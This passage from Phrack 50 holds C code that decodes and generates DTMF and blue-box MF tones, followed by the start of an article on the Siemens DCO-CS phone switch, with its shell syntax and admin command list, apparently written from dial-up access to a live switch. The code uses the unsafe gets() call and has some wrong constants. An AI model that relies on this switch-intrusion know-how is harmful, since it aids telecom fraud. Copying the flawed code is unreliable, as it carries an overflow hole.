  10234.     I will not go into depth explaining the underlying mathematical
  10235. theories behind this code.  If you are of a sufficient math background I
  10236. would encourage you to research and learn about the algorithms used from
  10237. your local college library; it is not my intent to summarize these
  10238. algorithms, only to provide unix C code that can be used on its own or
  10239. expanded to be used as part of a larger program.  
  10240.  
  10241.     Use the extract utility included with Phrack to save the individual
  10242. source files out to the dtmf/ directory.  If you find this code useful, I
  10243. would encourage you to show your appreciation by sharing some of your own
  10244. knowledge with Phrack.    
  10245.  
  10246. <++> dtmf/detect.h
  10247. /* 
  10248.  *
  10249.  * goertzel aglorithm, find the power of different
  10250.  * frequencies in an N point DFT.
  10251.  *
  10252.  * ftone/fsample = k/N   
  10253.  * k and N are integers.  fsample is 8000 (8khz)
  10254.  * this means the *maximum* frequency resolution
  10255.  * is fsample/N (each step in k corresponds to a
  10256.  * step of fsample/N hz in ftone)
  10257.  *
  10258.  * N was chosen to minimize the sum of the K errors for
  10259.  * all the tones detected...  here are the results :
  10260.  *
  10261.  * Best N is 240, with the sum of all errors = 3.030002
  10262.  * freq  freq actual   k     kactual  kerr
  10263.  * ---- ------------  ------ ------- -----
  10264.  *  350 (366.66667)   10.500 (11)    0.500
  10265.  *  440 (433.33333)   13.200 (13)    0.200
  10266.  *  480 (466.66667)   14.400 (14)    0.400
  10267.  *  620 (633.33333)   18.600 (19)    0.400
  10268.  *  697 (700.00000)   20.910 (21)    0.090
  10269.  *  700 (700.00000)   21.000 (21)    0.000
  10270.  *  770 (766.66667)   23.100 (23)    0.100
  10271.  *  852 (866.66667)   25.560 (26)    0.440
  10272.  *  900 (900.00000)   27.000 (27)    0.000
  10273.  *  941 (933.33333)   28.230 (28)    0.230
  10274.  * 1100 (1100.00000)  33.000 (33)    0.000
  10275.  * 1209 (1200.00000)  36.270 (36)    0.270
  10276.  * 1300 (1300.00000)  39.000 (39)    0.000
  10277.  * 1336 (1333.33333)  40.080 (40)    0.080
  10278.  **** I took out 1477.. too close to 1500
  10279.  * 1477 (1466.66667)  44.310 (44)    0.310
  10280.  ****
  10281.  * 1500 (1500.00000)  45.000 (45)    0.000
  10282.  * 1633 (1633.33333)  48.990 (49)    0.010
  10283.  * 1700 (1700.00000)  51.000 (51)    0.000
  10284.  * 2400 (2400.00000)  72.000 (72)    0.000
  10285.  * 2600 (2600.00000)  78.000 (78)    0.000
  10286.  *
  10287.  * notice, 697 and 700hz are indestinguishable (same K)
  10288.  * all other tones have a seperate k value.  
  10289.  * these two tones must be treated as identical for our
  10290.  * analysis.
  10291.  *
  10292.  * The worst tones to detect are 350 (error = 0.5, 
  10293.  * detet 367 hz) and 852 (error = 0.44, detect 867hz). 
  10294.  * all others are very close.
  10295.  *
  10296.  */
  10297.  
  10298. #define FSAMPLE  8000
  10299. #define N        240
  10300.  
  10301. int k[] = { 11, 13, 14, 19, 21, 23, 26, 27, 28, 33, 36, 39, 40,
  10302.  /*44,*/ 45, 49, 51, 72, 78, };
  10303.  
  10304. /* coefficients for above k's as:
  10305.  *   2 * cos( 2*pi* k/N )
  10306.  */
  10307. float coef[] = {
  10308. 1.917639, 1.885283, 1.867161, 1.757634, 
  10309. 1.705280, 1.648252, 1.554292, 1.520812, 1.486290, 
  10310. 1.298896, 1.175571, 1.044997, 1.000000, /* 0.813473,*/ 
  10311. 0.765367, 0.568031, 0.466891, -0.618034, -0.907981,  };
  10312.  
  10313. #define X1    0    /* 350 dialtone */
  10314. #define X2    1    /* 440 ring, dialtone */
  10315. #define X3    2    /* 480 ring, busy */
  10316. #define X4    3    /* 620 busy */
  10317.  
  10318. #define R1    4    /* 697, dtmf row 1 */
  10319. #define R2    5    /* 770, dtmf row 2 */
  10320. #define R3    6    /* 852, dtmf row 3 */
  10321. #define R4    8    /* 941, dtmf row 4 */
  10322. #define C1   10    /* 1209, dtmf col 1 */
  10323. #define C2   12    /* 1336, dtmf col 2 */
  10324. #define C3   13    /* 1477, dtmf col 3 */
  10325. #define C4   14    /* 1633, dtmf col 4 */
  10326.  
  10327. #define B1    4    /* 700, blue box 1 */
  10328. #define B2    7    /* 900, bb 2 */
  10329. #define B3    9    /* 1100, bb 3 */
  10330. #define B4   11    /* 1300, bb4 */
  10331. #define B5   13    /* 1500, bb5 */
  10332. #define B6   15    /* 1700, bb6 */
  10333. #define B7   16    /* 2400, bb7 */
  10334. #define B8   17    /* 2600, bb8 */
  10335.  
  10336. #define NUMTONES 18 
  10337.  
  10338. /* values returned by detect 
  10339.  *  0-9     DTMF 0 through 9 or MF 0-9
  10340.  *  10-11   DTMF *, #
  10341.  *  12-15   DTMF A,B,C,D
  10342.  *  16-20   MF last column: C11, C12, KP1, KP2, ST
  10343.  *  21      2400
  10344.  *  22      2600
  10345.  *  23      2400 + 2600
  10346.  *  24      DIALTONE
  10347.  *  25      RING
  10348.  *  26      BUSY
  10349.  *  27      silence
  10350.  *  -1      invalid
  10351.  */
  10352. #define D0    0
  10353. #define D1    1
  10354. #define D2    2
  10355. #define D3    3
  10356. #define D4    4
  10357. #define D5    5
  10358. #define D6    6
  10359. #define D7    7
  10360. #define D8    8
  10361. #define D9    9
  10362. #define DSTAR 10
  10363. #define DPND  11
  10364. #define DA    12
  10365. #define DB    13
  10366. #define DC    14
  10367. #define DD    15
  10368. #define DC11  16
  10369. #define DC12  17
  10370. #define DKP1  18
  10371. #define DKP2  19
  10372. #define DST   20
  10373. #define D24   21 
  10374. #define D26   22
  10375. #define D2426 23
  10376. #define DDT   24
  10377. #define DRING 25
  10378. #define DBUSY 26
  10379. #define DSIL  27
  10380.  
  10381. /* translation of above codes into text */
  10382. char *dtran[] = {
  10383.   "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
  10384.   "*", "#", "A", "B", "C", "D", 
  10385.   "+C11 ", "+C12 ", " KP1+", " KP2+", "+ST ",
  10386.   " 2400 ", " 2600 ", " 2400+2600 ",
  10387.   " DIALTONE ", " RING ", " BUSY ","" };
  10388.  
  10389. #define RANGE  0.1           /* any thing higher than RANGE*peak is "on" */
  10390. #define THRESH 100.0         /* minimum level for the loudest tone */
  10391. #define FLUSH_TIME 100       /* 100 frames = 3 seconds */
  10392.  
  10393. <-->
  10394. <++> dtmf/detect.c
  10395.  
  10396. /*
  10397.  * detect.c
  10398.  * This program will detect MF tones and normal
  10399.  * dtmf tones as well as some other common tones such
  10400.  * as BUSY, DIALTONE and RING.
  10401.  * The program uses a goertzel algorithm to detect
  10402.  * the power of various frequency ranges.
  10403.  *
  10404.  * input is assumed to be 8 bit samples.  The program
  10405.  * can use either signed or unsigned samples according
  10406.  * to a compile time option:
  10407.  *
  10408.  *    cc  -DUNSIGNED detect.c -o detect
  10409.  *
  10410.  * for unsigned input (soundblaster) and:
  10411.  *
  10412.  *    cc  detect.c -o detect
  10413.  *
  10414.  * for signed input (amiga samples)
  10415.  * if you dont want flushes,  -DNOFLUSH
  10416.  * 
  10417.  *                            Tim N.
  10418.  */
  10419.  
  10420. #include <stdio.h>
  10421. #include <math.h>
  10422. #include "detect.h"
  10423.  
  10424. /*
  10425.  * calculate the power of each tone according
  10426.  * to a modified goertzel algorithm described in
  10427.  *  _digital signal processing applications using the
  10428.  *  ADSP-2100 family_ by Analog Devices
  10429.  *
  10430.  * input is 'data',  N sample values
  10431.  *
  10432.  * ouput is 'power', NUMTONES values
  10433.  *  corresponding to the power of each tone 
  10434.  */
  10435. calc_power(data,power)
  10436. #ifdef UNSIGNED
  10437. unsigned char *data;
  10438. #else
  10439. char *data;
  10440. #endif
  10441. float *power;
  10442. {
  10443.   float u0[NUMTONES],u1[NUMTONES],t,in;
  10444.   int i,j;
  10445.   
  10446.   for(j=0; j<NUMTONES; j++) {
  10447.     u0[j] = 0.0;
  10448.     u1[j] = 0.0;
  10449.   }
  10450.   for(i=0; i<N; i++) {   /* feedback */
  10451. #ifdef UNSIGNED
  10452.     in = ((int)data[i] - 128) / 128.0;
  10453. #else
  10454.     in = data[i] / 128.0;
  10455. #endif
  10456.     for(j=0; j<NUMTONES; j++) {
  10457.       t = u0[j];
  10458.       u0[j] = in + coef[j] * u0[j] - u1[j];
  10459.       u1[j] = t;
  10460.     }
  10461.   }
  10462.   for(j=0; j<NUMTONES; j++)   /* feedforward */
  10463.     power[j] = u0[j] * u0[j] + u1[j] * u1[j] - coef[j] * u0[j] * u1[j]; 
  10464.   return(0);
  10465. }
  10466.  
  10467.  
  10468. /*
  10469.  * detect which signals are present.
  10470.  *
  10471.  * return values defined in the include file
  10472.  * note: DTMF 3 and MF 7 conflict.  To resolve
  10473.  * this the program only reports MF 7 between
  10474.  * a KP and an ST, otherwise DTMF 3 is returned
  10475.  */
  10476. decode(data)
  10477. char *data;
  10478. {
  10479.   float power[NUMTONES],thresh,maxpower;
  10480.   int on[NUMTONES],on_count;
  10481.   int bcount, rcount, ccount;
  10482.   int row, col, b1, b2, i;
  10483.   int r[4],c[4],b[8];
  10484.   static int MFmode=0;
  10485.   
  10486.   calc_power(data,power);
  10487.   for(i=0, maxpower=0.0; i<NUMTONES;i++)
  10488.     if(power[i] > maxpower)
  10489.       maxpower = power[i]; 
  10490. /*
  10491. for(i=0;i<NUMTONES;i++) 
  10492.   printf("%f, ",power[i]);
  10493. printf("\n");
  10494. */
  10495.  
  10496.   if(maxpower < THRESH)  /* silence? */ 
  10497.     return(DSIL);
  10498.   thresh = RANGE * maxpower;    /* allowable range of powers */
  10499.   for(i=0, on_count=0; i<NUMTONES; i++) {
  10500.     if(power[i] > thresh) { 
  10501.       on[i] = 1;
  10502.       on_count ++;
  10503.     } else
  10504.       on[i] = 0;
  10505.   }
  10506.  
  10507. /*
  10508. printf("%4d: ",on_count);
  10509. for(i=0;i<NUMTONES;i++)
  10510.   putchar('0' + on[i]);
  10511. printf("\n");
  10512. */
  10513.  
  10514.   if(on_count == 1) {
  10515.     if(on[B7]) 
  10516.       return(D24);
  10517.     if(on[B8])
  10518.       return(D26);
  10519.     return(-1);
  10520.   }
  10521.  
  10522.   if(on_count == 2) {
  10523.     if(on[X1] && on[X2])
  10524.       return(DDT);
  10525.     if(on[X2] && on[X3])
  10526.       return(DRING);
  10527.     if(on[X3] && on[X4])
  10528.       return(DBUSY);
  10529.     
  10530.     b[0]= on[B1]; b[1]= on[B2]; b[2]= on[B3]; b[3]= on[B4];
  10531.     b[4]= on[B5]; b[5]= on[B6]; b[6]= on[B7]; b[7]= on[B8];
  10532.     c[0]= on[C1]; c[1]= on[C2]; c[2]= on[C3]; c[3]= on[C4];
  10533.     r[0]= on[R1]; r[1]= on[R2]; r[2]= on[R3]; r[3]= on[R4];
  10534.  
  10535.     for(i=0, bcount=0; i<8; i++) {
  10536.       if(b[i]) {
  10537.         bcount++;
  10538.         b2 = b1;
  10539.         b1 = i;
  10540.       }
  10541.     }
  10542.     for(i=0, rcount=0; i<4; i++) {
  10543.       if(r[i]) {
  10544.         rcount++;
  10545.         row = i;
  10546.       }
  10547.     }
  10548.     for(i=0, ccount=0; i<4; i++) {
  10549.       if(c[i]) {
  10550.         ccount++;
  10551.         col = i;
  10552.       }
  10553.     }
  10554.  
  10555.     if(rcount==1 && ccount==1) {   /* DTMF */
  10556.       if(col == 3)  /* A,B,C,D */
  10557.         return(DA + row);
  10558.       else {
  10559.         if(row == 3 && col == 0 ) 
  10560.            return(DSTAR);
  10561.         if(row == 3 && col == 2 )
  10562.            return(DPND);
  10563.         if(row == 3)
  10564.            return(D0);
  10565.         if(row == 0 && col == 2) {   /* DTMF 3 conflicts with MF 7 */
  10566.           if(!MFmode)
  10567.             return(D3);
  10568.         } else 
  10569.           return(D1 + col + row*3);
  10570.       }
  10571.     }
  10572.  
  10573.     if(bcount == 2) {       /* MF */
  10574.       /* b1 has upper number, b2 has lower */
  10575.       switch(b1) {
  10576.         case 7: return( (b2==6)? D2426: -1); 
  10577.         case 6: return(-1);
  10578.         case 5: if(b2==2 || b2==3)  /* KP */
  10579.                   MFmode=1;
  10580.                 if(b2==4)  /* ST */
  10581.                   MFmode=0; 
  10582.                 return(DC11 + b2);
  10583.         /* MF 7 conflicts with DTMF 3, but if we made it
  10584.          * here then DTMF 3 was already tested for 
  10585.          */
  10586.         case 4: return( (b2==3)? D0: D7 + b2);
  10587.         case 3: return(D4 + b2);
  10588.         case 2: return(D2 + b2);
  10589.         case 1: return(D1);
  10590.       }
  10591.     }
  10592.     return(-1);
  10593.   }
  10594.  
  10595.   if(on_count == 0)
  10596.     return(DSIL);
  10597.   return(-1); 
  10598. }
  10599.  
  10600. read_frame(fd,buf)
  10601. int fd;
  10602. char *buf;
  10603. {
  10604.   int i,x;
  10605.  
  10606.   for(i=0; i<N; ) {
  10607.     x = read(fd, &buf[i], N-i);
  10608.     if(x <= 0) 
  10609.       return(0);
  10610.     i += x;
  10611.   } 
  10612.   return(1);
  10613. }
  10614.  
  10615. /*
  10616.  * read in frames, output the decoded
  10617.  * results
  10618.  */
  10619. dtmf_to_ascii(fd1, fd2)
  10620. int fd1;
  10621. FILE *fd2;
  10622. {
  10623.   int x,last= DSIL;
  10624.   char frame[N+5];
  10625.   int silence_time;
  10626.  
  10627.   while(read_frame(fd1, frame)) {
  10628.     x = decode(frame); 
  10629. /*
  10630. if(x== -1) putchar('-');
  10631. if(x==DSIL) putchar(' ');
  10632. if(x!=DSIL && x!=-1) putchar('a' + x);
  10633. fflush(stdout);
  10634. continue;
  10635. */
  10636.  
  10637.     if(x >= 0) {
  10638.       if(x == DSIL)
  10639.         silence_time += (silence_time>=0)?1:0 ;
  10640.       else
  10641.         silence_time= 0;
  10642.       if(silence_time == FLUSH_TIME) {
  10643.         fputs("\n",fd2);
  10644.         silence_time= -1;   /* stop counting */
  10645.       }
  10646.  
  10647.       if(x != DSIL && x != last &&
  10648.          (last == DSIL || last==D24 || last == D26 ||
  10649.           last == D2426 || last == DDT || last == DBUSY ||
  10650.           last == DRING) )  { 
  10651.         fputs(dtran[x], fd2);
  10652. #ifndef NOFLUSH
  10653.         fflush(fd2);
  10654. #endif
  10655.       }
  10656.       last = x;
  10657.     }
  10658.   }
  10659.   fputs("\n",fd2);
  10660. }
  10661.  
  10662. main(argc,argv) 
  10663. int argc;
  10664. char **argv;
  10665. {
  10666.   FILE *output;
  10667.   int input;
  10668.  
  10669.   input = 0;
  10670.   output = stdout;
  10671.   switch(argc) {
  10672.     case 1:  break;
  10673.     case 3:  output = fopen(argv[2],"w");
  10674.              if(!output) {
  10675.                perror(argv[2]);
  10676.                return(-1);
  10677.              }
  10678.              /* fall through */
  10679.     case 2:  input = open(argv[1],0);
  10680.              if(input < 0) {
  10681.                perror(argv[1]);
  10682.                return(-1);
  10683.              }
  10684.              break;
  10685.      default:
  10686.         fprintf(stderr,"usage:  %s [input [output]]\n",argv[0]);
  10687.         return(-1);
  10688.   }
  10689.   dtmf_to_ascii(input,output);
  10690.   fputs("Done.\n",output);
  10691.   return(0);
  10692. }
  10693.  
  10694. <-->
  10695. <++> dtmf/gen.c
  10696.  
  10697. /* -------- local defines (if we had more.. seperate file) ----- */
  10698. #define FSAMPLE   8000   /* sampling rate, 8KHz */
  10699.  
  10700. /*
  10701.  * FLOAT_TO_SAMPLE converts a float in the range -1.0 to 1.0 
  10702.  * into a format valid to be written out in a sound file
  10703.  * or to a sound device 
  10704.  */
  10705. #ifdef SIGNED
  10706. #  define FLOAT_TO_SAMPLE(x)    ((char)((x) * 127.0))
  10707. #else
  10708. #  define FLOAT_TO_SAMPLE(x)    ((char)((x + 1.0) * 127.0))
  10709. #endif
  10710.  
  10711. #define SOUND_DEV  "/dev/dsp"
  10712. typedef char sample;
  10713. /* --------------------------------------------------------------- */
  10714.  
  10715. #include <fcntl.h>
  10716.  
  10717. /*
  10718.  * take the sine of x, where x is 0 to 65535 (for 0 to 360 degrees)
  10719.  */
  10720. float mysine(in)
  10721. short in;
  10722. {
  10723.   static coef[] = {
  10724.      3.140625, 0.02026367, -5.325196, 0.5446778, 1.800293 };
  10725.   float x,y,res;
  10726.   int sign,i;
  10727.  
  10728.   if(in < 0) {       /* force positive */
  10729.     sign = -1;
  10730.     in = -in;
  10731.   } else
  10732.     sign = 1;
  10733.   if(in >= 0x4000)      /* 90 degrees */
  10734.     in = 0x8000 - in;   /* 180 degrees - in */
  10735.   x = in * (1/32768.0); 
  10736.   y = x;               /* y holds x^i) */
  10737.   res = 0;
  10738.   for(i=0; i<5; i++) {
  10739.     res += y * coef[i];
  10740.     y *= x;
  10741.   }
  10742.   return(res * sign); 
  10743. }
  10744.  
  10745. /*
  10746.  * play tone1 and tone2 (in Hz)
  10747.  * for 'length' milliseconds
  10748.  * outputs samples to sound_out
  10749.  */
  10750. two_tones(sound_out,tone1,tone2,length)
  10751. int sound_out;
  10752. unsigned int tone1,tone2,length;
  10753. {
  10754. #define BLEN 128
  10755.   sample cout[BLEN];
  10756.   float out;
  10757.   unsigned int ad1,ad2;
  10758.   short c1,c2;
  10759.   int i,l,x;
  10760.    
  10761.   ad1 = (tone1 << 16) / FSAMPLE;
  10762.   ad2 = (tone2 << 16) / FSAMPLE;
  10763.   l = (length * FSAMPLE) / 1000;
  10764.   x = 0;
  10765.   for( c1=0, c2=0, i=0 ;
  10766.        i < l;
  10767.        i++, c1+= ad1, c2+= ad2 ) {
  10768.     out = (mysine(c1) + mysine(c2)) * 0.5;
  10769.     cout[x++] = FLOAT_TO_SAMPLE(out);
  10770.     if (x==BLEN) {
  10771.       write(sound_out, cout, x * sizeof(sample));
  10772.       x=0;
  10773.     }
  10774.   }
  10775.   write(sound_out, cout, x);
  10776. }
  10777.  
  10778. /*
  10779.  * silence on 'sound_out'
  10780.  * for length milliseconds
  10781.  */
  10782. silence(sound_out,length)
  10783. int sound_out;
  10784. unsigned int length;
  10785. {
  10786.   int l,i,x;
  10787.   static sample c0 = FLOAT_TO_SAMPLE(0.0);
  10788.   sample cout[BLEN];
  10789.  
  10790.   x = 0;
  10791.   l = (length * FSAMPLE) / 1000;
  10792.   for(i=0; i < l; i++) {
  10793.     cout[x++] = c0;
  10794.     if (x==BLEN) {
  10795.       write(sound_out, cout, x * sizeof(sample));
  10796.       x=0;
  10797.     }
  10798.   }
  10799.   write(sound_out, cout, x);
  10800. }
  10801.  
  10802. /*
  10803.  * play a single dtmf tone
  10804.  * for a length of time,
  10805.  * input is 0-9 for digit, 10 for * 11 for #
  10806.  */
  10807. dtmf(sound_fd, digit, length)
  10808. int sound_fd;
  10809. int digit, length;
  10810. {
  10811.   /* Freqs for 0-9, *, # */
  10812.   static int row[] = {
  10813.     941, 697, 697, 697, 770, 770, 770, 852, 852, 852, 941, 941 };
  10814.   static int col[] = {
  10815.     1336, 1209, 1336, 1477, 1209, 1336, 1477, 1209, 1336, 1447,
  10816.     1209, 1477 };
  10817.  
  10818.   two_tones(sound_fd, row[digit], col[digit], length);
  10819. }
  10820.  
  10821. /*
  10822.  * take a string and output as dtmf
  10823.  * valid characters, 0-9, *, #
  10824.  * all others play as 50ms silence 
  10825.  */
  10826. dial(sound_fd, number)
  10827. int sound_fd;
  10828. char *number;
  10829. {
  10830.   int i,x;
  10831.   char c;
  10832.  
  10833.   for(i=0;number[i];i++) {
  10834.      c = number[i];
  10835.      x = -1;
  10836.      if(c >= '0' && c <= '9')
  10837.        x = c - '0';
  10838.      else if(c == '*')
  10839.        x = 10;
  10840.      else if(c == '#')
  10841.        x = 11;
  10842.      if(x >= 0)
  10843.        dtmf(sound_fd, x, 50);
  10844.      silence(sound_fd,50);
  10845.   }
  10846. }
  10847.  
  10848. main()
  10849. {
  10850.   int sfd;
  10851.   char number[100];
  10852.  
  10853.   sfd = open(SOUND_DEV,O_RDWR);
  10854.   if(sfd<0) {
  10855.     perror(SOUND_DEV);
  10856.     return(-1);
  10857.   }
  10858.   printf("Enter fone number: ");
  10859.   gets(number);
  10860.   dial(sfd,number);
  10861. }
  10862. <-->
  10863. <++> dtmf/Makefile
  10864. #
  10865. # Defines:
  10866. #  UNSIGNED  -  use unsigned 8 bit samples
  10867. #               otherwise use signed 8 bit samples
  10868. #
  10869.  
  10870. CFLAGS= -DUNSIGNED
  10871.  
  10872. default:    detect gen
  10873.  
  10874. detect: detect.c
  10875.     $(CC) detect.c -o detect
  10876.  
  10877. gen:    gen.c
  10878.     $(CC) gen.c -o gen
  10879.  
  10880. clobber: clean
  10881.     rm -rf detect gen 
  10882.  
  10883. clean:
  10884.     rm -rf *.o core a.out
  10885. <-->
  10886.  
  10887. EOF
  10888.                                 .oO Phrack 50 Oo.
  10889.  
  10890.                             Volume Seven, Issue Fifty
  10891.  
  10892.                                      14 of 16
  10893.                                                  
  10894.                      //===============================\\
  10895.                      ||  The DCO-CS Operating System  ||
  10896.                      ||              -*-              ||
  10897.                      ||                               ||
  10898.                      || by Trunkin' Fool AKA mrnobody ||
  10899.                      ||             4.1.97            ||
  10900.                      \\===============================//
  10901.  
  10902.  
  10903.     OK... this is the first part of what (hopefully) will be a little
  10904. series type thing of articles on the DCO operating system, which is from
  10905. Siemens.  DCO is run on an LLS/RLS-1000/RLS-4000 machine. It has
  10906. psychotically mad logging, but the logs are configurable from the admin
  10907. accounts.  The DCO box I was using just happened to only have a 1200 bps
  10908. dialup, so some operations (i.e. listing INWATS trunks and what they route
  10909. to) were painfully slow considering the large amount of trunks this thing
  10910. can control.  It is similar to a 4ESS in some ways, and offers some PABX
  10911. functions.  A guy can have lots of fun with one of these things...
  10912.  
  10913.         Some features/specifications:
  10914.  
  10915.         Billing Computer Interface
  10916.         --------------------------
  10917.         "The DCO-CS collects AMA data and provides direct data interface with
  10918.         your business computer, as well as 1600 BPI magnetic tape backup
  10919.         or primary data collector"
  10920.  
  10921.         International Callback
  10922.         ----------------------
  10923.         "Allows the system to place a return call to an international
  10924.         subscriber for the dialed domestic number originally called, either
  10925.         through a live or automated operator position."
  10926.  
  10927.         ISDN Transport
  10928.         --------------
  10929.         The DCO-CS is capable of switching 64 Kb/s data. This allows people
  10930.         (customers, hehe) to switch Primary and Basic Rate ISDN traffic.
  10931.  
  10932.         LEC Services
  10933.         ------------
  10934.         Full LEC services are offered, including POTS (duh), Centrex &
  10935.         Enhanced Centrex (combines ISDN & POTS lines in the same Centrex
  10936.         groups, direct inward dialing, call forwarding, hold, call transfer,
  10937.         intercom, conferencing, OUTWATS over line groups of any size.), CLASS
  10938.         including calling number delivery and display, selective call blocking
  10939.         and forwarding, automatic recall and call trace.
  10940.  
  10941.  
  10942.         "Hacker intrusion is detected and 'thwarted' by sophisticated pattern
  10943. recognition software.  The DCO-CS switch lets you detect abused authorization
  10944. codes and service-denied authorization codes and automatically route the
  10945. calls to your service departments.  The system also offers timed threshold
  10946. levels for both ANI and authorization codes as another form of fraud
  10947. protection.  It delivers detailed traffic and facilities usage reports to help
  10948. you plan the optimum use of your private and leased facilities."
  10949.  
  10950.                                 --Siemens Stromberg-Carlson
  10951.  
  10952.         Calls are processed simultaneously with separate processors and
  10953. switching matrices.  In the event of a failure, not even calls in the process
  10954. of being switched are lost because when the failure occurs, the system simply 
  10955. switches to "its redundant processor and memory".
  10956.  
  10957.         I guess that before I dive straight into the commands, I should
  10958. discuss something pretty damn important.  That something is MMI. MMI
  10959. stands for Man-Machine-Interface,and is basically the 'shell' for this
  10960. system.  First off, in MMI, every command is prefixed by a '$', ie, to run
  10961. the account maintenance program, "passwm", one would type: "$PASSWM",
  10962. without the quotes. Always put a comma between parameters. For example,
  10963. say that a program ADDTFREE requires the parameters SAC(service access
  10964. code),Toll-Free Number, and the Trunk to Assign the Toll-Free number to.
  10965. The hypothetical command to add a tollfree number, 555-6969, with a SAC of
  10966. 800, for example, and route it to (123)456-7890, would be: 
  10967.  
  10968.     "$ADDTFREE 800,5556969,1234567890" 
  10969.  
  10970. (without the quotes). The ';' denotes a line terminator. For example, to run 
  10971. a program PROG1, which,say, clears the terminal screen, and the INWANI
  10972. utility, one would type: "$PROG1;$INWANI", without the quotes. The ""
  10973. (quotes) are used to contain a string of one or more characters. A string
  10974. is considered anything that contains either a blank or comma not being
  10975. used as a delimiter. The '\' allows special characters to be input to
  10976. tasks (similar to linux/unix?). And finally, the ':' is synonymous to done
  10977. (whatever that means).
  10978.  
  10979.         Some more on MMI... The command line/response length is 65 characters,
  10980. so anything longer than 65 will be truncated.  Exit is a valid response at any
  10981. prompt.  Help is also valid and lists the valid responses with descriptions.
  10982. To automatically display the help information prior to all prompts, type
  10983. "HELP=ON" without the quotes.  "HELP=OFF" disables this function. The '^' is
  10984. used to back up a menu.  Control-P cancels a function in progress. The '&'
  10985. represents logical AND.  However, the '&&' represents a logical inclusive.
  10986. The '*' is a wildcard, and allows the user to select the entire range of
  10987. possibilities.
  10988.  
  10989.         'Option Words'- the option word is entered on the command line
  10990. after the task(command) name.  The Option Word can be either in octal or
  10991. ASCII.
  10992.  
  10993. Value   ASCII           Definition
  10994. -F1     /NODIAL         no dialogue (header or trailer msg output) to terminal
  10995. -F2     /OFFLINE        Request communication with offline CP
  10996. -F4     /NOCOMM         No user input. All input must be on the command line
  10997. -F40    /NOPAGE         Do not paginate output.
  10998.         Values may be added together to indicate multiple options, eg:
  10999. -F3 = -F1 and -F2.
  11000.  
  11001.         One final thing: I said that all commands must be prefixed with a '$',
  11002. however, this does not apply to input, ie when inside a program it is not
  11003. necessary.
  11004.  
  11005.         The next part is basically just a command list for DCO. I will do
  11006. a more detailed (tutorial even) as i learn more and as people ask for one,
  11007. or if I just feel like writing it (and I probably do, as I have read Phrack
  11008. for some time and always wanted to contribute). One last warning: the LLS/RLS
  11009. is a fairly large system, so be VERY CAREFUL as one can do about as many
  11010. bad things as good things if you're not careful.
  11011.     
  11012.     So... without further ado, heres the command list:
  11013.  
  11014. Command   ~   Description
  11015. -------       -----------
  11016. ABNUTL    -   perform automatic balance network (ABN) functions
  11017. ABORT     -   abort operation of an active task
  11018. ACISU     -   alarm control interface start up
  11019. ACITST    -   alarm control interface test
  11020. ACTUTL    -   display/clear/acknowledge active alarms
  11021. ADMIN     -   recent change/database administration
  11022. ALMSEN    -   switch between local and remote alarm reporting
  11023. AMA       -   configure automatic message accounting (AMA)
  11024. AMCDMP    -   administer AMA message thresholds
  11025. AMFMAU    -   verify formatted AMA tickets
  11026. AMOPT     -   administer system options
  11027. AMPRPT    -   set frequency of repeat notification of alarms
  11028. AMPUTL    -   alarm message processing utility
  11029. AUDIT     -   verify software record of hardware states match actual hardware
  11030. BKRNS     -   backup RNS disk at the host office
  11031. BLDINH    -   mask/unmask building security alarm (heh, this should be fun)
  11032. BUFDMP    -   search/clear/dump CP buffers
  11033. CANCEL    -   cancel wait timer for TID and IDN
  11034. CBUG      -   debug utility for LLS/RLS-1000 and CODC devices
  11035. CHEKER    -   compare MP memory to disk
  11036. CHKUTL    -   verify disk integrity (DCO equivalent of scandisk for dos)
  11037. CLEAR     -   initialize span error counters
  11038. CODE      -   DCO-CS customer routing
  11039. CONFIG    -   configuration control (load,switch,mask, etc.)
  11040. CONUTL    -   convert equipment numbers
  11041. COPY      -   copy databases from memory to disk
  11042. CPDMP     -   display data collected from a CP crash
  11043. CPPTCH    -   call processing patch utility
  11044. CPREST    -   online CP reset
  11045. CPSRCH    -   search CP buffer
  11046. CPSU      -   call processing startup
  11047. CSADM     -   DCO-CS administer ANI DN's and auth codes
  11048. DBADMN    -   DCO-CS change max entries in selected tables
  11049. DBUTL     -   administer MP database parameters
  11050. DBVER     -   database verifications and configuration reports
  11051. DEBUG     -   debug utility for MP
  11052. DEVMOU    -   build config file to rebuild system mount status
  11053. DIAG2     -   manually diagnose/verify fault in the MOS side of the system
  11054. DIAG3     -   manual diagnostics to test forced faults
  11055. DMPUTL    -   duplex MP utility (switchover,download,lock,etc.)
  11056. DNAUTL    -   directory number audit utility
  11057. DTIUTL    -   configure/status of DTI/DS1M for LLS/RLS-1000/RLS-4000
  11058. DUMPER    -   dump raw data records from disk
  11059. ECCRPT    -   report 1-bit parity errors corrected in MP/CP/FP
  11060. ECD       -   display error counters
  11061. EDIT      -   DCO system editor
  11062. EQCHEK    -   test access to equipped hardware
  11063. FILSYS    -   perform file or disk manipulation functions
  11064. FLSH      -   flush alarm message processing buffers
  11065. FLXANI    -   DCO-CS administer FLEX ANI tables
  11066. FPBUG     -   debug utility for FP
  11067. FPCDMP    -   display/save data collected from FP crash
  11068. FPSU      -   FP start up
  11069. FREE      -   display number of free blocks in MP memory
  11070. FXLN      -   administer/configure FX communications to an RNS
  11071. GBUG      -   generic debug utility
  11072. HEY       -   MP operating system task completion advisor
  11073. HSTUTL    -   collect/retrieve alarm message history
  11074. HOTLIN    -   DCO-CS administer hotline database
  11075. INSTAL    -   MP operating system manual task installer
  11076. INWANI    -   DCO-CS administer INWATS number routed by NPA/NXX
  11077. INWATS    -   DCO-CS administer incoming toll free (INWATS) service
  11078. ISUUTL    -   administer alarm level priorities and conditions
  11079. LLC       -   line load control of subscriber lines
  11080. LOGOFF    -   logs off the terminal
  11081. LSPT      -   light traffic tests (avoid running during heavy traffic)
  11082. MACLR     -   clear memory audit data
  11083. MANUAL    -   manual control of ports
  11084. MAUDIT    -   memory audit routine
  11085. MBI       -   report masks and errors on MBI bus
  11086. MEMCHK    -   report differences between CP memory (generic code) and disk
  11087. MEMMAP    -   display memory map
  11088. MODEM     -   administer system parameters for modem security
  11089. MOVEDB    -   DCO-CS database compress program
  11090. MSKUTL    -   temporarily mask alarm and message reporting
  11091. NITSWC    -   initiate service circuit switchover
  11092. OCC       -   DCO-CS administer system options
  11093. OPR       -   administer system operator groups
  11094. PABX      -   administer PABX groups
  11095. PARTN     -   DCO-CS administer partition number tables
  11096. PASSWM    -   administer user/password list
  11097. PATCH     -   MP operating system patcher
  11098. PATRPT    -   format patch into report
  11099. PAUDIT    -   audit patches applied to disk/system
